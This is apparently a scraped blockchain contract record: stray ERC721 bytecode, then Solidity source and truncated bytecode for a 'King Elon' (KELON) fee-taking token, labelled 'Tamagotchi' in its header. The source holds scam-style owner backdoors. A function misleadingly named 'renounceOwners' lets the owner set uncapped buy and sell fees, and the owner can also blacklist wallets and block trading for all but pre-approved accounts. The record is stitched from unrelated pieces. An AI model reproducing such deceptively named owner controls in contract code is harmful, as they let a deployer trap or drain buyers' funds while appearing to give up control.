6004016105ed90611d4b565b610908816111cf565b60006001600160e01b031982166380ac58cd60e01b1480610f7f57506001600160e01b03198216635b5e139f60e01b145b806105a657506105a682611398565b3390565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610fe482610ade565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061102882610f92565b6110445760405162461bcd60e51b81526004016105ed90611e43565b600061104f83610ade565b9050806001600160a01b0316846001600160a01b0316148061108a5750836001600160a01b031661107f846106e9565b6001600160a01b0316145b8061109a575061109a8185610eb2565b949350505050565b826001600160a01b03166110b582610ade565b6001600160a01b0316146110db5760405162461bcd60e51b81526004016105ed906120d9565b6001600160a01b0382166111015760405162461bcd60e51b81526004016105ed90611dc8565b61110c8383836113b1565b611117600082610faf565b6001600160a01b0383166000908152600360205260408120805460019290611140908490612306565b90915550506001600160a01b038216600090815260036020526040812080546001929061116e9084906122bb565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61065382826040518060200160405280600081525061143a565b6112468484846110a2565b6112528484848461146d565b610e235760405162461bcd60e51b81526004016105ed90611cf9565b6060600b805461066690612349565b6060816112a257506040805180820190915260018152600360fc1b60208201526105a9565b8160005b81156112cc57806112b681612384565b91506112c59050600a836122d3565b91506112a6565b60008167ffffffffffffffff8111156112f557634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561131f576020820181803683370190505b5090505b841561109a57611334600183612306565b9150611341600a8661239f565b61134c9060306122bb565b60f81b81838151811061136f57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611391600a866122d3565b9450611323565b6001600160e01b031981166301ffc9a760e01b14919050565b6113bc8383836107bf565b6001600160a01b0383166113d8576113d381611588565b6113fb565b816001600160a01b0316836001600160a01b0316146113fb576113fb83826115cc565b6001600160a01b0382166114175761141281611669565b6107bf565b826001600160a01b0316826001600160a01b0316146107bf576107bf8282611742565b6114448383611786565b611451600084848461146d565b6107bf5760405162461bcd60e51b81526004016105ed90611cf9565b6000611481846001600160a01b0316611865565b1561157d57836001600160a01b031663150b7a0261149d610f8e565b8786866040518563ffffffff1660e01b81526004016114bf9493929190611c0f565b602060405180830381600087803b1580156114d957600080fd5b505af1925050508015611509575060408051601f3d908101601f1916820190925261150691810190611b23565b60015b611563573d808015611537576040519150601f19603f3d011682016040523d82523d6000602084013e61153c565b606091505b50805161155b5760405162461bcd60e51b81526004016105ed90611cf9565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061109a565b506001949350505050565b600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b600060016115d984610b13565b6115e39190612306565b600083815260076020526040902054909150808214611636576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061167b90600190612306565b600083815260096020526040812054600880549394509092849081106116b157634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600883815481106116e057634e487b7160e01b600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061172657634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061174d83610b13565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166117ac5760405162461bcd60e51b81526004016105ed90611ff3565b6117b581610f92565b156117d25760405162461bcd60e51b81526004016105ed90611d91565b6117de600083836113b1565b6001600160a01b03821660009081526003602052604081208054600192906118079084906122bb565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b82805461187790612349565b90600052602060002090601f01602090048101928261189957600085556118df565b82601f106118b257805160ff19168380011785556118df565b828001600101855582156118df579182015b828111156118df5782518255916020019190600101906118c4565b506118eb9291506118ef565b5090565b5b808211156118eb57600081556001016118f0565b600067ffffffffffffffff8084111561191f5761191f6123df565b604051601f8501601f191681016020018281118282101715611943576119436123df565b60405284815291508183850186101561195b57600080fd5b8484602083013760006020868301015250509392505050565b80356001600160a01b03811681146105a957600080fd5b803580151581146105a957600080fd5b6000602082840312156119ac578081fd5b610ea582611974565b600080604083850312156119c7578081fd5b6119d083611974565b91506119de60208401611974565b90509250929050565b6000806000606084860312156119fb578081fd5b611a0484611974565b9250611a1260208501611974565b9150604084013590509250925092565b60008060008060808587031215611a37578081fd5b611a4085611974565b9350611a4e60208601611974565b925060408501359150606085013567ffffffffffffffff811115611a70578182fd5b8501601f81018713611a80578182fd5b611a8f87823560208401611904565b91505092959194509250565b60008060408385031215611aad578182fd5b611ab683611974565b91506119de6020840161198b565b60008060408385031215611ad6578182fd5b611adf83611974565b946020939093013593505050565b600060208284031215611afe578081fd5b610ea58261198b565b600060208284031215611b18578081fd5b8135610ea5816123f5565b600060208284031215611b34578081fd5b8151610ea5816123f5565b600060208284031215611b50578081fd5b813567ffffffffffffffff811115611b66578182fd5b8201601f81018413611b76578182fd5b61109a84823560208401611904565b600060208284031215611b96578081fd5b5035919050565b60008151808452611bb581602086016020860161231d565b601f01601f19169290920160200192915050565b60008351611bdb81846020880161231d565b835190830190611bef81836020880161231d565b01949350505050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611c4290830184611b9d565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015611c8457835183529284019291840191600101611c68565b50909695505050505050565b901515815260200190565b600060208252610ea56020830184611b9d565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252601690820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b604082015260600190565b60208082526024908201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656040820152631959195960e21b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601690820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b602080825260129082015271696e73756666696369656e742066756e647360701b604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b6020808252601b908201527f6e65656420746f206d696e74206174206c656173742031204e46540000000000604082015260600190565b90815260200190565b600082198211156122ce576122ce6123b3565b500190565b6000826122e2576122e26123c9565b500490565b6000816000190483118215151615612301576123016123b3565b500290565b600082821015612318576123186123b3565b500390565b60005b83811015612338578181015183820152602001612320565b83811115610e235750506000910152565b60028104600182168061235d57607f821691505b6020821081141561237e57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612398576123986123b3565b5060010190565b6000826123ae576123ae6123c9565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461090857600080fdfea2646970667358221220141f4d34e9519ca88592eb08d1e7cf54ffd578c21b63f94549cdd7cd3d1e696164736f6c63430008000033
[ 5, 12 ]
0xf21e4abd4C2919034cEf4AcB9d6B425F28F8Cc6D
/** Tamagotchi */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KingElon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "King Elon"; string private constant _symbol = "KELON"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 5; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x609648BAfbf795587DBd87611df68a8A220930Ed); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000000000 * 10**9; //2.0 uint256 public _maxWalletSize = 2000000000000 * 10**9; //2.0 uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true; bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true; bots[address(0x00000000003b3cc22aF3aE1EAc0440BcEe416B40)] = true; bots[address(0xD8E83d3d1a91dFefafd8b854511c44685a20fa3D)] = true; bots[address(0xbcC7f6355bc08f6b7d3a41322CE4627118314763)] = true; bots[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true; bots[address(0x000000000035B5e5ad9019092C665357240f594e)] = true; bots[address(0x1315c6C26123383a2Eb369a53Fb72C4B9f227EeC)] = true; bots[address(0xD8E83d3d1a91dFefafd8b854511c44685a20fa3D)] = true; bots[address(0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C)] = true; bots[address(0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA)] = true; bots[address(0x42c1b5e32d625b6C618A02ae15189035e0a92FE7)] = true; bots[address(0xA94E56EFc384088717bb6edCccEc289A72Ec2381)] = true; bots[address(0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31)] = true; bots[address(0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27)] = true; bots[address(0xEE2A9147ffC94A73f6b945A6DB532f8466B78830)] = true; bots[address(0xdE2a6d80989C3992e11B155430c3F59792FF8Bb7)] = true; bots[address(0x1e62A12D4981e428D3F4F28DF261fdCB2CE743Da)] = true; bots[address(0x5136a9A5D077aE4247C7706b577F77153C32A01C)] = true; bots[address(0x0E388888309d64e97F97a4740EC9Ed3DADCA71be)] = true; bots[address(0x255D9BA73a51e02d26a5ab90d534DB8a80974a12)] = true; bots[address(0xA682A66Ea044Aa1DC3EE315f6C36414F73054b47)] = true; bots[address(0x80e09203480A49f3Cf30a4714246f7af622ba470)] = true; bots[address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)] = true; bots[address(0x3066Cc1523dE539D36f94597e233719727599693)] = true; bots[address(0x201044fa39866E6dD3552D922CDa815899F63f20)] = true; bots[address(0x6F3aC41265916DD06165b750D88AB93baF1a11F8)] = true; bots[address(0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6)] = true; bots[address(0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418)] = true; bots[address(0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40)] = true; bots[address(0x7e2b3808cFD46fF740fBd35C584D67292A407b95)] = true; bots[address(0xe89C7309595E3e720D8B316F065ecB2730e34757)] = true; bots[address(0x725AD056625326B490B128E02759007BA5E4eBF1)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function renounceOwners(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806395d89b4111610095578063bfd7928411610064578063bfd792841461052a578063c3c8cd801461055a578063dd62ed3e1461056f578063ea1644d5146105b557600080fd5b806395d89b411461048c57806398a5c315146104ba578063a9059cbb146104da578063bdd795ef146104fa57600080fd5b8063871d1c00116100d1578063871d1c00146104185780638da5cb5b146104385780638f70ccf7146104565780638f9a55c01461047657600080fd5b8063715018a6146103cd57806374010ece146103e25780637d1db4a51461040257600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103585780636d8aa8f8146103785780636fc3eaec1461039857806370a08231146103ad57600080fd5b80632fd689e314610306578063313ce5671461031c57806349bd5a5e1461033857600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c65780632f9c4569146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611801565b6105d5565b005b3480156101ff57600080fd5b5060408051808201909152600981526825b4b7339022b637b760b91b60208201525b60405161022e91906118c6565b60405180910390f35b34801561024357600080fd5b5061025761025236600461191b565b610674565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b5069152d02c7e14af68000005b60405190815260200161022e565b3480156102d257600080fd5b506102576102e1366004611947565b61068b565b3480156102f257600080fd5b506101f1610301366004611998565b6106f4565b34801561031257600080fd5b506102b860185481565b34801561032857600080fd5b506040516009815260200161022e565b34801561034457600080fd5b50601554610287906001600160a01b031681565b34801561036457600080fd5b506101f16103733660046119cd565b6107b8565b34801561038457600080fd5b506101f16103933660046119ea565b610803565b3480156103a457600080fd5b506101f161084b565b3480156103b957600080fd5b506102b86103c83660046119cd565b610878565b3480156103d957600080fd5b506101f161089a565b3480156103ee57600080fd5b506101f16103fd366004611a05565b61090e565b34801561040e57600080fd5b506102b860165481565b34801561042457600080fd5b506101f1610433366004611a1e565b61093d565b34801561044457600080fd5b506000546001600160a01b0316610287565b34801561046257600080fd5b506101f16104713660046119ea565b61097b565b34801561048257600080fd5b506102b860175481565b34801561049857600080fd5b5060408051808201909152600581526425a2a627a760d91b6020820152610221565b3480156104c657600080fd5b506101f16104d5366004611a05565b6109c3565b3480156104e657600080fd5b506102576104f536600461191b565b6109f2565b34801561050657600080fd5b506102576105153660046119cd565b60116020526000908152604090205460ff1681565b34801561053657600080fd5b506102576105453660046119cd565b60106020526000908152604090205460ff1681565b34801561056657600080fd5b506101f16109ff565b34801561057b57600080fd5b506102b861058a366004611a50565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506101f16105d0366004611a05565b610a35565b6000546001600160a01b031633146106085760405162461bcd60e51b81526004016105ff90611a89565b60405180910390fd5b60005b81518110156106705760016010600084848151811061062c5761062c611abe565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066881611aea565b91505061060b565b5050565b6000610681338484610a64565b5060015b92915050565b6000610698848484610b88565b6106ea84336106e585604051806060016040528060288152602001611c04602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061108b565b610a64565b5060019392505050565b6000546001600160a01b0316331461071e5760405162461bcd60e51b81526004016105ff90611a89565b6001600160a01b03821660009081526011602052604090205460ff161515811515141561078d5760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105ff565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016105ff90611a89565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016105ff90611a89565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461086b57600080fd5b47610875816110c5565b50565b6001600160a01b038116600090815260026020526040812054610685906110ff565b6000546001600160a01b031633146108c45760405162461bcd60e51b81526004016105ff90611a89565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016105ff90611a89565b601655565b6000546001600160a01b031633146109675760405162461bcd60e51b81526004016105ff90611a89565b600893909355600a91909155600955600b55565b6000546001600160a01b031633146109a55760405162461bcd60e51b81526004016105ff90611a89565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ed5760405162461bcd60e51b81526004016105ff90611a89565b601855565b6000610681338484610b88565b6013546001600160a01b0316336001600160a01b031614610a1f57600080fd5b6000610a2a30610878565b905061087581611183565b6000546001600160a01b03163314610a5f5760405162461bcd60e51b81526004016105ff90611a89565b601755565b6001600160a01b038316610ac65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ff565b6001600160a01b038216610b275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ff565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ff565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ff565b60008111610cb05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ff565b6000546001600160a01b03848116911614801590610cdc57506000546001600160a01b03838116911614155b15610f7e57601554600160a01b900460ff16610d80576001600160a01b03831660009081526011602052604090205460ff16610d805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ff565b601654811115610dd25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ff565b6001600160a01b03831660009081526010602052604090205460ff16158015610e1457506001600160a01b03821660009081526010602052604090205460ff16155b610e6c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c6163